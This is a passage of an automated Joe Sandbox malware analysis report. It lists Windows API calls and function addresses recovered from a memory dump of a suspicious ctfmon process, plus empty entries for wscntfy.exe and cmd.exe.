    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4D976, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00A4D98B
    • GetTempFileNameW.KERNEL32(?,tmp,00000000,00A372C4), ref: 00A4D9B4
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A54DF4, Relevance: 5.2, APIs: 4, Instructions: 196
    APIs
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
      • Part of subcall function 00A4D80F: CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 00A4D834
      • Part of subcall function 00A4D80F: GetFileSizeEx.KERNEL32(?,00000000), ref: 00A4D847
      • Part of subcall function 00A4D80F: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00A4D86F
      • Part of subcall function 00A4D80F: ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 00A4D887
      • Part of subcall function 00A4D80F: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00A4D8A1
      • Part of subcall function 00A4D80F: CloseHandle.KERNEL32(00000001), ref: 00A4D8AA
    • StrStrIA.SHLWAPI(?,?), ref: 00A54F1D
    • StrStrIA.SHLWAPI(?,?), ref: 00A54F2F
    • StrStrIA.SHLWAPI(?,?), ref: 00A54F41
    • StrStrIA.SHLWAPI(?,?), ref: 00A54F53
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A4D8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00A4D8C8
      • Part of subcall function 00A4D8B7: CloseHandle.KERNEL32(00000001), ref: 00A4D8D6
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
      • Part of subcall function 00A4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A4DDB9
      • Part of subcall function 00A4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4DDE0
      • Part of subcall function 00A4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A4DE2A
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE57
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE87
      • Part of subcall function 00A4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A4DEB5
      • Part of subcall function 00A4DD7A: FindClose.KERNEL32(?), ref: 00A4DEC7
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A583EA, Relevance: 5.1, APIs: 4, Instructions: 63
    APIs
    • EnterCriticalSection.KERNEL32(00A64170,?,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A58407
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • LeaveCriticalSection.KERNEL32(00A64170,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A58428
    • EnterCriticalSection.KERNEL32(00A64170,?,?,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A58439
      • Part of subcall function 00A480EB: HeapAlloc.KERNEL32(00000008,?,00A4847D,?,00A37A97,?,00A48FC7,?,?,00A37A97,?,?,00A48F77,?,?,?), ref: 00A4810D
      • Part of subcall function 00A480EB: HeapReAlloc.KERNEL32(00000008,?,?,00A4847D,?,00A37A97,?,00A48FC7,?,?,00A37A97,?,?,00A48F77,?,?), ref: 00A4811E
    • LeaveCriticalSection.KERNEL32(00A64170,?,?,?,?,00A586D2,00000000,?,?,?,00000009,00000000), ref: 00A584C1
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd

    Analysis Process: wscntfy.exe PID: 1796 Parent PID: 212

    Executed Functions

    Non-executed Functions

    Analysis Process: cmd.exe PID: 756 Parent PID: 1652

    Executed Functions

    Non-executed Functions